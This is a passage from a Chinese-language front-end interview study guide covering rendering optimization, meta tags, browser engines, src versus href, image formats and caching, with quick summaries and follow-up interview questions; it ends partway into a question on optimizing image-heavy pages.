渲染优化的核心是减少阻塞、网络与 DOM 开销,让资源加载和页面更新更高效。 我一般会把样式放在顶部、脚本放在底部,并结合 gzip、CDN、缓存和图片预加载改善加载过程。更新页面时尽量批量操作 DOM,多项样式通过 className 统一切换,动画优先考虑 CSS。小图标可用 base64 减少请求,但大图会增加 CPU 开销,需要权衡。

  • 禁止使用iframe(阻塞父文档onload事件)
    • iframe会阻塞主页面的Onload事件
    • 搜索引擎的检索程序无法解读这种页面,不利于SEO
    • iframe和主页面共享连接池,而浏览器对相同域的连接有限制,所以会影响页面的并行加载
    • 使用iframe之前需要考虑这两个缺点。如果需要使用iframe,最好是通过javascript
    • 动态给iframe添加src属性值,这样可以绕开以上两个问题
  • 禁止使用gif图片实现loading效果(降低CPU消耗,提升渲染性能)
  • 使用CSS3代码代替JS动画(尽可能避免重绘重排以及回流)
  • 对于一些小图标,可以使用base64位编码,以减少网络请求。但不建议大图使用,比较耗费CPU
    • 小图标优势在于
      • 减少HTTP请求
      • 避免文件跨域
      • 修改及时生效
  • 页面头部的<style></style> <script></script> 会阻塞页面;(因为 Renderer进程中 JS线程和渲染线程是互斥的)
  • 页面中空的 href 和 src 会阻塞页面其他资源的加载 (阻塞下载进程)
  • 网页gzip,CDN托管,data缓存 ,图片服务器
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • 用innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 对普通的网站有一个统一的思路,就是尽量向前端优化、减少数据库操作、减少磁盘IO

💬 面试官追问

  • 有人为了“减少请求”把一张大背景图也转成 base64 塞进样式表,你为什么不会把它当成无条件优化?

    base64 更适合体积较小的图标,优势是减少独立请求并避开图片文件的跨域问题。大图编码会扩大样式资源并增加解码和处理成本,还无法像独立文件那样灵活加载;是否采用应结合资源大小和缓存方式判断。

  • 商品列表需要一次更新几十个节点的多个样式,你会逐条写 element.style,还是切换一个 className?

    会优先切换预先定义好的 className,把多项样式变化集中交给样式规则处理,减少零散的 DOM 样式操作。若某些值必须由运行时计算,可只把动态部分单独写入;类名过度组合也会增加样式维护成本。

  • 第三方内容必须通过 iframe 接入,业务又要求主页面尽快完成加载,你会怎样降低它对加载流程的影响?

    不能简单禁止 iframe,但可以先渲染主页面,再由 JavaScript 按需设置它的 src,避免一开始就参与关键加载。还应关注它与主页面共享连接资源以及搜索引擎难以解读内部内容的限制;核心正文不宜只放在其中。

  • 线上页面偶发重复请求,排查时发现若干 <img src=""> 和 <a href="">,这些空属性为什么值得优先清理?

    空的 src 或 href 可能被浏览器解析成对当前页面或相关资源的请求,从而干扰其他资源加载并制造无意义流量。应在没有有效地址时移除属性或延后赋值,同时检查模板默认值;仅做网络层优化无法消除这类错误标记。

  • 首屏同时包含内联脚本、外部样式、预加载图片和动画,你会怎样安排关键资源,而不是只喊“减少重绘”?

    样式表应尽量放在顶部,非关键脚本放到底部或避免阻塞首屏,并对确实要展示的图片做合理预加载。动画优先评估能否用 CSS3 完成,同时结合 gzip、CDN 和缓存减少传输等待;过度预加载也会争抢关键资源。

# 25 meta viewport相关

⚡ 30 秒速记

  • 今天真正必写的只有四个:charset、viewport、title、description
  • <meta charset="utf-8"> 必须放在 head 最前面 1024 字节内,否则浏览器可能已经用错编码解析了
  • theme-color 控制移动端浏览器地址栏配色,可配 media 分别给亮/暗色模式
  • robots 控制收录(index/noindex、follow/nofollow),比 robots.txt 粒度更细
  • 下面那份长清单里的 X-UA-Compatible、apple-mobile-web-app-*、UC/QQ 的私有 meta、HandheldFriendly、MobileOptimized 基本都已失效,当历史资料看即可,新项目不要照抄

新项目通常保留 charset、viewport、title 和 description,再按需求增加 theme-color 或 robots。 viewport 用来控制移动端页面的初始缩放和可视区域,是适配手机页面的关键配置。X-UA-Compatible、renderer、HandheldFriendly 以及 UC、QQ 的私有标签大多属于历史兼容方案,现在不应整段照抄。实际配置时还要谨慎限制 user-scalable,避免影响用户缩放页面。

下面这份清单是 2015 年前后的历史资料

其中 X-UA-Compatible、apple-mobile-web-app-*、renderer、HandheldFriendly、MobileOptimized、UC/QQ 的 x5-* 私有标签绝大多数已经失效或被厂商废弃,新项目不要照抄。

今天真正需要写的只有四个:charset、viewport、title、description,再按需加 theme-color 和 robots。

<!DOCTYPE html>  <!--H5标准声明,使用 HTML5 doctype,不区分大小写-->
<head lang=”en”> <!--标准的 lang 属性写法-->
<meta charset=’utf-8′>    <!--声明文档使用的字符编码-->
<meta http-equiv=”X-UA-Compatible” content=”IE=edge,chrome=1″/>   <!--优先使用 IE 最新版本和 Chrome-->
<meta name=”description” content=”不超过150个字符”/>       <!--页面描述-->
<meta name=”keywords” content=””/>     <!-- 页面关键词-->
<meta name=”author” content=”name, email@gmail.com”/>    <!--网页作者-->
<meta name=”robots” content=”index,follow”/>      <!--搜索引擎抓取-->
<meta name=”viewport” content=”initial-scale=1, maximum-scale=3, minimum-scale=1, user-scalable=no”> <!--为移动设备添加 viewport-->
<meta name=”apple-mobile-web-app-title” content=”标题”> <!--iOS 设备 begin-->
<meta name=”apple-mobile-web-app-capable” content=”yes”/>  <!--添加到主屏后的标题(iOS 6 新增)
是否启用 WebApp 全屏模式,删除苹果默认的工具栏和菜单栏-->
<meta name=”apple-itunes-app” content=”app-id=myAppStoreID, affiliate-data=myAffiliateData, app-argument=myURL”>
<!--添加智能 App 广告条 Smart App Banner(iOS 6+ Safari)-->
<meta name=”apple-mobile-web-app-status-bar-style” content=”black”/>
<meta name=”format-detection” content=”telphone=no, email=no”/>  <!--设置苹果工具栏颜色-->
<meta name=”renderer” content=”webkit”> <!-- 启用360浏览器的极速模式(webkit)-->
<meta http-equiv=”X-UA-Compatible” content=”IE=edge”>     <!--避免IE使用兼容模式-->
<meta http-equiv=”Cache-Control” content=”no-siteapp” />    <!--不让百度转码-->
<meta name=”HandheldFriendly” content=”true”>     <!--针对手持设备优化,主要是针对一些老的不识别viewport的浏览器,比如黑莓-->
<meta name=”MobileOptimized” content=”320″>   <!--微软的老式浏览器-->
<meta name=”screen-orientation” content=”portrait”>   <!--uc强制竖屏-->
<meta name=”x5-orientation” content=”portrait”>    <!--QQ强制竖屏-->
<meta name=”full-screen” content=”yes”>              <!--UC强制全屏-->
<meta name=”x5-fullscreen” content=”true”>       <!--QQ强制全屏-->
<meta name=”browsermode” content=”application”>   <!--UC应用模式-->
<meta name=”x5-page-mode” content=”app”>   <!-- QQ应用模式-->
<meta name=”msapplication-tap-highlight” content=”no”>    <!--windows phone 点击无高亮
设置页面不缓存-->
<meta http-equiv=”pragma” content=”no-cache”>
<meta http-equiv=”cache-control” content=”no-cache”>
<meta http-equiv=”expires” content=”0″>

# 26 你做的页面在哪些流览器测试过?这些浏览器的内核分别是什么?

⚡ 30 秒速记

  • 内核结论见上面第 8 题,这里只补"怎么答测试范围"
  • 现在只剩三个渲染引擎:Blink(Chrome/Edge/Opera/国产壳浏览器)、WebKit(Safari)、Gecko(Firefox)
  • iOS 上所有浏览器都被强制用 WebKit,所以"iOS 的 Chrome"本质是套壳 Safari,兼容性问题多半出在这
  • 实际测试矩阵怎么说:Chrome + Safari(含 iOS) + Firefox + 微信内置浏览器(国内业务必测)+ 一两款国产浏览器
  • 加分项:说清楚兼容性怎么保障 —— Browserslist + Autoprefixer + core-js 按需 polyfill,再配 BrowserStack 或真机做回归

我一般按渲染内核和真实使用环境确定测试范围,覆盖 Chrome、Safari、Firefox,以及国内业务常见的微信内置浏览器。 Chrome 和新版 Edge 使用 Blink,Safari 使用 WebKit,Firefox 使用 Gecko。iOS 上的浏览器都使用 WebKit,所以移动端还需要用 iOS 真机验证,不能只测桌面版 Chrome。兼容性通常交给 Browserslist、Autoprefixer 和按需 polyfill 保障,不依赖 UA 判断。

现在还活着的三个渲染引擎

  • Blink:Chrome、Edge、Opera、以及国内几乎所有"壳"浏览器(360、QQ、UC 的桌面版)。JS 引擎是 V8
  • WebKit:Safari,以及 iOS 上的全部浏览器。JS 引擎是 JavaScriptCore
  • Gecko:Firefox。JS 引擎是 SpiderMonkey

已经退场的(只当历史背景,别当答案主体)

  • Trident:IE 系列,微软已于 2022 年终止 IE11 支持
  • EdgeHTML:旧版 Edge,2020 年起 Edge 改用 Blink
  • Presto:旧版 Opera,2013 年起 Opera 改用 Blink

这题的加分点

苹果在 iOS 上强制所有浏览器使用 WebKit,所以"iOS 上的 Chrome"本质是套壳 Safari。移动端遇到"安卓正常、iOS 挂了"的兼容问题,多半就出在这里 —— 能说出这一点,比背内核名字有用得多。

实际测试矩阵怎么讲:Chrome + Safari(含 iOS 真机)+ Firefox + 微信内置浏览器(国内业务必测),配 Browserslist + Autoprefixer + core-js 按需 polyfill 做保障。

💬 面试官追问

  • 候选人说桌面端测过 Chrome、新版 Edge 和 Opera,所以已经覆盖三个不同内核;你会怎样追问这个判断?

    这三者当前主要都使用 Blink,不能按浏览器品牌数量等同于内核覆盖数量,相关 JavaScript 引擎也都是 V8。若要覆盖主要差异,还应加入使用 WebKit 的 Safari 和使用 Gecko 的 Firefox。

  • 一个面向国内用户的响应式站点准备上线,你会要求怎样的最小测试矩阵,而不是只给一份浏览器名称清单?

    至少覆盖 Chrome、Safari、Firefox、iOS 真机和微信内置浏览器,并围绕业务核心流程执行测试。构建侧再用 Browserslist 明确目标,配合 Autoprefixer 和按需 polyfill;工具配置不能替代真实环境验证。

  • 同一个页面在安卓 Chrome 正常,在 iOS Chrome 上布局异常,开发坚持“两边都是 Chrome,不可能是内核问题”,你怎么判断?

    应把它视为 WebKit 兼容问题继续排查,因为苹果要求 iOS 上的浏览器使用 WebKit,iOS Chrome 并不是桌面或安卓上的 Blink 实现。先用同版本系统的 Safari 对照复现;仅按浏览器图标归类会误判测试覆盖。

  • 兼容性报告里写着“旧版 Edge 用 EdgeHTML,现在的 Edge 也一样”,你会如何纠正并处理测试范围?

    需要按版本阶段拆开:旧版 Edge 使用 EdgeHTML,从改用 Chromium 架构后则使用 Blink。是否继续测试旧引擎取决于项目明确支持范围,不能把历史内核当成当前答案;同理,Trident 和 Presto 主要作为历史背景。

  • 产品要求支持 Safari,开发认为测过 iOS Chrome 就足够;在桌面和移动端两个范围里,这个结论分别成立吗?

    在 iOS 上两者都基于 WebKit,测试结果有参考价值,但浏览器外壳和集成功能仍可能不同,核心流程仍应在目标应用中确认。桌面端 Chrome 使用 Blink、Safari 使用 WebKit,因此桌面 Safari 不能被 Chrome 测试替代。

# 27 div+css的布局较table布局有什么优点?

⚡ 30 秒速记

  • 历史题:table 布局是 2000 年代的产物,今天已经没人这么写了
  • 当年的优点:结构与表现分离、改版只改 CSS、代码量小、渲染更快(table 要等整个表格下载完才渲染)、对 SEO 和读屏器友好
  • 今天的正确答案:布局用 Flexbox 和 Grid,div+float 那一套也过时了
  • table 仍然有唯一正确的用途:展示真正的二维表格数据(这时候就该用 table,配 thead/tbody/th/scope,对读屏器友好)

相比用 table 做页面布局,div 配合 CSS 能让结构和表现分离,改版与维护都更方便。 样式集中在 CSS 中,调整布局时通常不必改动大量页面结构,文档也会更清晰简洁。语义合理的结构对搜索引擎更友好,页面加载也更轻便。现在实际开发会优先使用 Flex 或 Grid,而 table 应保留给真正的二维表格数据。

  • 改版的时候更方便 只要改css文件。
  • 页面加载速度更快、结构化清晰、页面显示简洁。
  • 表现与结构相分离。
  • 易于优化(seo)搜索引擎更友好,排名更容易靠前。

# 28 a:img的alt与title有何异同?b:strong与em的异同?

⚡ 30 秒速记

  • 这题是上面第 2 题和第 38 题的合并版,两块分别对照着看更清楚
  • alt vs title:alt 是图片的替代内容(图挂了显示、读屏器读、搜索引擎索引),title 是悬停提示(触屏无效)。详见第 2 题的交互演示
  • strong vs em:strong 表示"内容重要"(读屏器加重语气),em 表示"语气强调"(读屏器改变语调)。它们的区别是语义维度不同,不是加粗和斜体的区别
  • 对应的纯样式标签是 b 和 i,只改外观没有语义。详见第 38 题

alt 是图片无法呈现时的替代内容,title 是补充提示;strong 表示内容重要,em 表示语气强调。 图片加载失败或用户代理不能显示图片时,会使用 alt 传达原本的信息,而 title 通常在鼠标悬停时提供额外说明。strong 和 em 都是语义化标签,浏览器常分别显示为粗体和斜体,但不能只把它们当作样式工具。如果只是视觉上加粗或倾斜,更适合使用 b、i 或 CSS。

  • alt(alt text): 用于为不能显示图像、窗体或applets的用户代理(UA)提供替代文字。它由lang属性指定替代文字的语言。在某些浏览器中,当没有title属性时,会将alt属性作为工具提示(tooltip)显示。
  • title(tool tip): 用于为元素提供额外的提示信息,当鼠标悬停在元素上时显示。它提供了一种向用户解释元素用途或提供有关元素的补充信息的方式。

b:strong与em的异同?

  • strong: 是表示文本的重要性或紧急性的标签,通常呈现为加粗的文本样式。它用于强调内容的重要性,可以为内容赋予更大的权重。
  • em: 是表示文本的强调或重要性的标签,通常呈现为斜体的文本样式。它用于更强烈地强调内容,使其在阅读时更具有突出性,但并不改变内容的含义。

注意:strong和em都是语义化标签,用于表示文本的语义和重要性,而不仅仅是样式上的改变。

💬 面试官追问

  • 商品详情页的主图加载失败后只剩一个图标,但鼠标悬停还能看到 title="黑色运动鞋",为什么这仍不算提供了可用的替代内容?

    title 只是补充提示,不能替代 alt 承担图片不可见时的文本替代职责。应根据图片用途填写 alt="黑色运动鞋",而非依赖悬停提示;触屏设备、键盘操作和部分辅助技术都未必能稳定获得 title。

  • 内容编辑把文章中二十张装饰分隔图都写成 alt="装饰图片",读屏用户需要逐张听完,前端应怎样落地修正?

    纯装饰图片应使用空替代文本 alt="",让辅助技术跳过无信息价值的内容;承载信息的图片才需要描述其功能或含义。不能简单删除 alt,因为缺失属性时,用户代理可能改为朗读文件名等无意义内容。

  • 设计师要求所有加粗文字都改成 <strong>,编辑又把语气重读全部写成 <em>,这两种语义应怎样划界?

    <strong> 表示内容的重要性或紧急性,<em> 表示语气上的强调,默认粗体或斜体只是常见呈现。若需求只是视觉加粗或倾斜,应交给 CSS;否则样式变化会被误写成语义,后续阅读模式和辅助技术也难以理解作者意图。

  • 线上无障碍验收时,测试人员发现读屏器朗读 <strong> 和普通文本的语调几乎相同,是否应把它全部换成 <b>?

    不应仅凭听感替换,因为读屏器是否改变语调取决于产品及用户设置,语义价值并不等于固定的声音效果。应检查重要内容是否确实使用 <strong>、强调语气是否使用 <em>;若只是装饰性粗体,再改用 <b> 或 CSS。

  • CMS 同时要求图片有简短替代文本和较长的操作说明,产品想把两段内容都塞进 alt,前端该怎样取舍?

    alt 应保留图片不可见时仍必须传达的等价信息,额外说明可放在邻近正文或可访问的说明区域中。title 可作为补充提示,但不能承载唯一的关键操作信息;过长的 alt 会干扰连续阅读,也无法解决悬停不可用的问题。

# 29 你能描述一下渐进增强和优雅降级之间的不同吗

⚡ 30 秒速记

  • 渐进增强:先保证基础功能在所有环境可用,再给高级浏览器加料 —— 从下往上加
  • 优雅降级:先做完整功能,再为老环境兜底 —— 从上往下减
  • 一句区分:渐进增强朝前看,优雅降级往回看
  • 现代落地:@supports 特性查询、<picture> 多格式图片、Service Worker 有就用没有也不影响、CSS 新属性配 fallback 值
  • 实践里以渐进增强为主:核心内容不依赖 JS(SSR),交互体验靠 JS 增强

渐进增强是从基本可用开始逐步加能力,优雅降级则是先做完整体验,再为低版本浏览器提供兼容。 前者面向未来扩充效果和交互,同时保证基础功能始终可靠;后者从复杂形态往回收缩,允许部分体验衰减。实际开发中,我一般会优先保证核心内容和功能可用,再根据浏览器能力增强体验。

  • 渐进增强:针对低版本浏览器进行构建页面,保证最基本的功能,然后再针对高级浏览器进行效果、交互等改进和追加功能达到更好的用户体验。
  • 优雅降级:一开始就构建完整的功能,然后再针对低版本浏览器进行兼容。

区别:优雅降级是从复杂的现状开始,并试图减少用户体验的供给,而渐进增强则是从一个非常基础的,能够起作用的版本开始,并不断扩充,以适应未来环境的需要。降级(功能衰减)意味着往回看;而渐进增强则意味着朝前看,同时保证其根基处于安全地带

# 30 为什么利用多个域名来存储网站资源会更有效?

⚡ 30 秒速记

  • 老结论(HTTP/1.1 时代):突破浏览器同域 6 个并发连接的限制、CDN 更好缓存、静态资源域名不带 cookie 省带宽、隔离安全风险
  • 但这题现在要反着答:HTTP/2 之后多域名反而是负优化
  • 原因:HTTP/2 单连接多路复用,本来就没有并发限制;拆域名反而多出 DNS 解析 + TCP 握手 + TLS 握手的开销,还破坏了连接复用
  • 今天的做法:静态资源收敛到 1~2 个域名走 HTTP/2 或 HTTP/3,用 preconnect 提前建连
  • cookie-free 域名这条仍然成立,独立静态域名可以避免每个请求都带上主站 cookie

多域名存储资源主要是 HTTP/1.1 时代的优化,可以绕过同域并发限制、减少主域连接占用,并避免静态请求携带主站 cookie。 它也便于通过 CDN 缓存和分发资源,让静态内容与主站隔离。到了 HTTP/2 或 HTTP/3,单连接可以多路复用,继续拆域名会增加 DNS、TCP 和 TLS 建连成本。现在通常收敛到一两个静态域名,并用 preconnect 提前建连;其中独立的无 cookie 域名仍有价值。

利用多个域名来存储网站资源可以带来以下好处:

  • CDN缓存更方便:内容分发网络(CDN)可以更轻松地缓存和分发位于不同域名下的资源,提高资源的访问速度和可用性。
  • 突破浏览器并发限制:大多数浏览器对同一域名下的并发请求数量有限制,通过将资源分布在多个域名下,可以突破这一限制,同时发送更多的并发请求,加快页面加载速度。
  • 节约cookie带宽:浏览器在每个请求中都会携带相应域名下的cookie信息,通过将资源分布在不同的域名下,可以减少对cookie的传输,节约带宽和提高性能。
  • 节约主域名的连接数:浏览器对同一域名下的连接数也有限制,通过将资源请求分散到多个域名下,可以减少对主域名的连接数占用,提高页面的响应速度和并发处理能力。
  • 防止不必要的安全问题:将静态资源与主要网站内容分离到不同的域名下,可以降低恶意攻击者利用资源加载过程中的安全漏洞对主站点进行攻击的风险。

这题现在要反着答

上面那套结论属于 HTTP/1.1 时代。HTTP/2 之后单条连接就能多路复用,同域并发限制已经不存在,再拆域名反而是负优化 —— 每多一个域名就多一次 DNS 解析 + TCP 握手 + TLS 握手,还破坏了连接复用。

今天的做法:静态资源收敛到 1~2 个域名走 HTTP/2 或 HTTP/3,用 <link rel="preconnect"> 提前建连。唯一还成立的是 cookie-free 域名 —— 独立静态域名可以避免每个静态资源请求都背上主站的 cookie。

面试时能主动指出"这条优化已经被 HTTP/2 推翻",比复述老结论加分得多。

💬 面试官追问

  • 一个使用 HTTP/2 的活动页把 120 个静态资源平均拆到 8 个域名,团队认为域名越多并发越高,你会接受这个结论吗?

    不会,突破同域并发限制主要是 HTTP/1.1 时代的收益;HTTP/2 已能在单条连接上多路复用。拆成 8 个域名会增加 DNS、TCP 和 TLS 建连成本,还会破坏连接复用,因此现代站点通常应收敛到少量静态域名。

  • 主站登录后带有较大的业务 cookie,而每个字体、图片和脚本请求都携带它,静态资源域名应怎样规划?

    可将静态资源放到不携带主站业务 cookie 的独立域名,并配置对应的 CDN 缓存与回源策略。这样能减少重复头部带宽,但必须控制 cookie 的 Domain 范围;若设置成覆盖所有子域,独立静态域名也无法获得预期收益。

  • 老旧内网页面仍通过 HTTP/1.1 加载大量小图,而公网新版已升级到 HTTP/2,两套环境是否应该沿用同一套域名分片规则?

    不应机械共用:HTTP/1.1 下适度分片可能缓解同域连接限制,HTTP/2 下则更适合集中资源复用连接。应先确认实际协商协议和资源结构,再决定是否保留旧分片;迁移时还要评估缓存地址变化与额外建连成本。

  • 改成三个静态域名后,监控显示首屏资源等待时间反而增加,DevTools 中每组请求前都有建连阶段,你会先查什么?

    先在 Network 的 Protocol 列确认是否已使用 h2 或 h3,再检查各域名的 DNS、连接和 TLS 耗时。若资源被分散后无法复用连接,应合并到 1~2 个域名;确需保留的关键域名可用 <link rel="preconnect"> 提前建连。

  • 安全团队要求静态资源与主站彻底隔离,性能团队要求所有资源同域复用连接,这场选型冲突该怎样裁决?

    应按资源信任边界与实际协议权衡,而不是单看域名数量。独立域名有利于隔离主站 cookie、缓存策略及部分资源加载风险,但会产生额外建连;在 HTTP/2 或 HTTP/3 下通常以少量独立静态域名折中,并配合严格的域名权限配置。

# 31 简述一下src与href的区别

⚡ 30 秒速记

  • src(source):把外部资源嵌进当前文档,是"替换"关系 —— img、script、iframe、audio、video
  • href(hypertext reference):建立当前文档与外部资源的引用关系,是"关联"关系 —— a、link
  • 加载行为:普通 script 的 src 会阻塞 HTML 解析(要等下载 + 执行);link 的 href 不阻塞解析,但会阻塞渲染
  • 一句记法:src 是"把东西搬进来",href 是"指个路"

src 表示把外部资源嵌入当前元素,href 表示在当前文档与目标资源之间建立引用关系。 像 script、img 和 iframe 通常使用 src,资源会成为元素内容的一部分;a 和 link 则通常通过 href 指向页面或样式资源。浏览器处理 src 资源时可能暂停当前文档的加载和解析,而处理 href 引用时通常可以并行进行。

src和href是HTML中两个常见的属性,它们有以下区别:

  • src属性(source)用于指定要嵌入到当前文档中的外部资源的位置。例如,<script src="script.js"></script>用于引入一个外部的JavaScript文件,或者<img src="image.jpg" alt="Image">用于显示一个外部的图像文件。浏览器在解析到带有src属性的元素时,会暂停当前文档的加载和解析,去下载并执行或显示指定的资源。
  • href属性(hypertext reference)用于建立当前文档和引用资源之间的关联。它通常用于链接到其他文档或外部资源,例如<a href="https://www.example.com">Link</a>用于创建一个指向外部网页的链接,或者<link href="styles.css" rel="stylesheet">用于引入外部的CSS样式表。浏览器在解析到带有href属性的元素时,会同时进行当前文档和引用资源的加载和处理,而不会阻塞当前文档的解析。

总结来说:

  • src用于替换当前元素,指向的资源会嵌入到文档中,例如脚本、图像、框架等。
  • href用于建立文档与引用资源之间的链接,例如链接到其他文档或引入外部样式表。

注意:尽管它们的用途不同,但在实际使用时,需要根据元素的类型和需求正确地选择使用src或href属性。

💬 面试官追问

  • 新人说“凡是会发起网络请求的属性都该叫 src”,但样式表使用 <link rel="stylesheet" href="app.css">,你怎样指出这个反例的关键?

    是否发起请求不是划分标准,关键是元素表达嵌入还是关联。src 指向替代或嵌入当前位置的资源,如图片和脚本;link 始终声明文档与外部资源的关系,关系类型由 rel 指定,所以即使下载样式表也使用 href。

  • 首屏需要提前获取一份稍后执行的脚本,工程师写了 <link rel="preload" href="app.js" as="script">,为什么预加载资源仍使用 href?

    preload 建立的是当前文档与待预取资源之间的关系,并没有用该资源替换 link 元素,因此使用 href。rel="preload" 只负责提示浏览器提前获取,真正执行仍需对应的 <script src="app.js">;两处地址或资源类型不匹配会浪费下载。

  • 一个页面同时遇到图片、外链、样式和脚本四类需求,组件 API 想统一暴露名为 url 的属性,渲染层应怎样映射到 src 与 href?

    渲染层应按元素语义映射:img、script 等嵌入资源使用 src,a 和 link 等建立关联或导航的元素使用 href。统一业务字段可以减少上层差异,但底层不能把两者互换;还需分别处理替代文本、rel 等配套语义。

  • 线上页面的外部脚本下载完成却没有执行,代码是 <script href="bundle.js"></script>,排查时为什么不能只盯着网络状态?

    script 加载外部脚本要求使用 src,href 不会建立脚本嵌入关系,因此网络面板没有预期请求时应先检查元素和属性是否匹配。改成 <script src="bundle.js"></script> 后再查状态码与执行错误;若标签同时存在 src 和内联代码,内联内容会被忽略。

  • 性能评审中有人断言“所有 src 都会阻塞 HTML 解析,所有 href 都不会”,面对图片和样式表两个反例应怎样修正?

    不能仅由属性名判断阻塞行为,阻塞取决于元素类型、资源用途及加载方式。图片的 src 通常不会像经典同步脚本那样暂停解析,而样式表虽使用 href,仍会影响渲染并可能间接影响脚本执行;应结合具体元素分析加载、解析和渲染阶段。

# 32 知道的网页制作会用到的图片格式有哪些?

⚡ 30 秒速记

  • 传统三件套:JPEG(照片,有损)、PNG(需要透明/锐利边缘,无损)、GIF(简单动图,仅 256 色,基本被淘汰)
  • 矢量:SVG,图标和图表首选,可缩放、可用 CSS 控制、体积小
  • 现代主力:WebP(比 JPEG 小 25~35%,支持透明和动画,兼容性已经没问题)、AVIF(压缩率更高,主流浏览器已支持)
  • 选型口诀:图标用 SVG,照片用 AVIF/WebP 并保留 JPEG 兜底,动图用视频(video)而不是 GIF
  • 落地写法:用 <picture> + <source type> 做格式降级,浏览器自己挑第一个支持的

网页图片常见格式可以按内容归类:照片通常用 JPEG,透明图或高质量位图用 PNG,简单动画可用 GIF,需要无损缩放的图形用 SVG。 PNG-8 最多支持 256 种颜色,体积较小;PNG-24 色彩更多,但文件通常也更大。新格式里,WebP 兼顾较高压缩率和图像质量,APNG 则支持帧动画。具体选择要看画面类型、透明度、动画需求和浏览器兼容性,不能只追求格式新。

在网页制作中,常用的图片格式包括:

  • JPEG(Joint Photographic Experts Group):适用于存储照片和复杂的图像,具有较高的压缩比,但会有一定的图像质量损失。
  • PNG(Portable Network Graphics):适用于图标、透明背景的图像以及需要保留较高图像质量的场景。可以选择使用PNG-8或PNG-24,前者支持最多256种颜色,后者支持更多颜色但文件体积更大。
  • GIF(Graphics Interchange Format):适用于简单动画和图标,支持透明背景和基本的透明度。
  • SVG(Scalable Vector Graphics):矢量图形格式,使用XML描述图形,具有无损缩放和可编辑性。

除了上述常见的图片格式,还有一些新兴的图片格式:

  • WebP:由Google开发的一种旨在提高图片加载速度的格式,具有较高的压缩率和图像质量,逐渐被主流浏览器支持。
  • APNG(Animated Portable Network Graphics):是PNG的位图动画扩展,支持帧动画效果,但浏览器兼容性较差。

请注意,选择合适的图片格式应根据具体需求,如图像内容、透明度要求、动画效果等。新的图片格式如WebP和APNG可以根据项目需求和兼容性考虑是否使用。

💬 面试官追问

  • 摄影频道把高色彩照片导出为 PNG-24,而品牌线稿图导出为 JPEG,上线后体积和边缘质量都不理想,你会怎样调整格式?

    照片和复杂连续色彩图像通常优先选 JPEG,接受有损压缩以控制体积;线稿、图标或需要透明背景的位图更适合 PNG。若图形本身可用矢量描述,应优先考虑 SVG,但复杂照片不适合强行矢量化。

  • 设计系统有 300 个单色图标,需要在不同主题和尺寸下变色,前端在 PNG 与 SVG 之间应怎样选择?

    这类可缩放、需要动态改色的图标更适合 SVG,它使用矢量描述,无损缩放且便于编辑。PNG 适合固定像素效果或复杂透明位图,但多尺寸会产生多份资源;使用外部 SVG 时还需根据嵌入方式规划样式控制。

  • 产品要求一张带透明背景的加载动画同时兼顾颜色层次和帧动画,设计师只提供 GIF,你会考虑哪些替代方案?

    GIF 适合简单动画,但其颜色和透明能力有限;需要更丰富透明效果时可评估 APNG,现代压缩方案也可纳入候选。最终仍应按目标浏览器验证支持情况并准备回退,因为来源资料明确提示 APNG 的兼容性需要项目侧评估。

  • 图片组件升级为 AVIF、WebP 和 JPEG 三套资源后,部分用户只看到破图,你会怎样定位格式协商或回退链路?

    先检查 <picture> 中各 <source type>、资源地址及最终 <img src> 回退是否齐全,再在目标浏览器确认实际选择的候选。浏览器会选择自己支持的格式;若类型声明错误、文件不可达或缺少 JPEG 等兜底,格式支持差异就会直接表现为破图。

  • 移动端商品卡在不同视口和高像素密度屏幕上总是下载同一张大图,格式已经换成 WebP,为什么仍不算完整优化?

    格式压缩只解决编码效率,不能替代尺寸选择;应使用 srcset 与 sizes 提供适合不同展示宽度或像素密度的候选资源。浏览器据此选择文件,同时保留可用的默认 src;候选尺寸声明不准确仍可能下载过大的图片或造成清晰度不足。

# 33 在CSS/JS代码上线之后,开发人员经常会优化性能。从用户刷新网页开始,一次JS请求一般情况下有哪些地方会有缓存处理?

⚡ 30 秒速记

  • 按请求经过的顺序数:Memory Cache → Service Worker → Disk Cache(HTTP 缓存)→ CDN 边缘节点 → 服务端缓存,中间还有 DNS 缓存
  • 浏览器 HTTP 缓存分两层:强缓存(Cache-Control: max-age / Expires,命中就不发请求,状态显示 200 from disk cache);协商缓存(ETag/If-None-Match、Last-Modified/If-Modified-Since,发请求但可能拿 304)
  • Cache-Control 常用值:max-age、no-cache(可以存但每次都要验证)、no-store(完全不存)、immutable(有效期内连刷新都不验证)
  • 工程实践:HTML 用 no-cache,带 hash 的静态资源用 max-age=31536000, immutable,靠文件名变化来更新
  • 易错点:no-cache 不是"不缓存",no-store 才是

一次 JS 请求通常会经过 DNS、CDN、浏览器和服务器这几层缓存处理。 DNS 缓存复用域名解析结果,CDN 则让用户从更近的节点取得静态文件,减少回源和传输时间。浏览器依据 Cache-Control、Expires 等响应头决定是否复用本地资源,服务器也可以缓存动态生成的内容。具体保留多久不能一刀切,需要结合文件更新频率和业务场景设置。

在进行JS请求时,可以在以下几个地方进行缓存处理,以提高性能和减少资源加载时间:

  1. DNS缓存:浏览器会缓存已解析的域名和对应的IP地址,这样在下次请求同一域名时可以直接使用缓存的IP地址,避免重新进行DNS解析。
  2. CDN缓存:如果使用了内容分发网络(CDN),CDN会缓存静态资源文件,如CSS和JS文件,以便快速地分发给用户。当用户再次请求同一资源时,可以从CDN缓存中获取,减少向源服务器的请求次数。
  3. 浏览器缓存:浏览器会缓存已请求的静态资源文件,如CSS和JS文件。可以通过设置HTTP响应头中的Cache-Control和Expires字段来控制浏览器缓存的行为。如果设置了适当的缓存策略,浏览器在下次请求同一资源时可以直接从本地缓存中获取,而不需要再次向服务器请求。
  4. 服务器缓存:服务器可以对动态生成的JS文件进行缓存,以避免重复生成相同的响应。服务器可以通过设置响应头中的Cache-Control和Expires字段,或者使用缓存代理服务器来进行缓存处理。

需要注意的是,缓存的有效期限和缓存策略的设置需要根据具体的需求和业务场景来确定。合理地利用缓存可以显著提高网页加载速度和用户体验。

# 33 一个页面上有大量的图片(大型电商网站),加载很慢,你有哪些方法优化这些图片的加载,给用户更好的体验。

⚡ 30 秒速记

  • 先减字节:换 WebP/AVIF、按展示尺寸裁剪、有损压缩到肉眼无差
  • 再减请求:图标用 SVG 或字体图标(雪碧图在 HTTP/2 下已无必要)
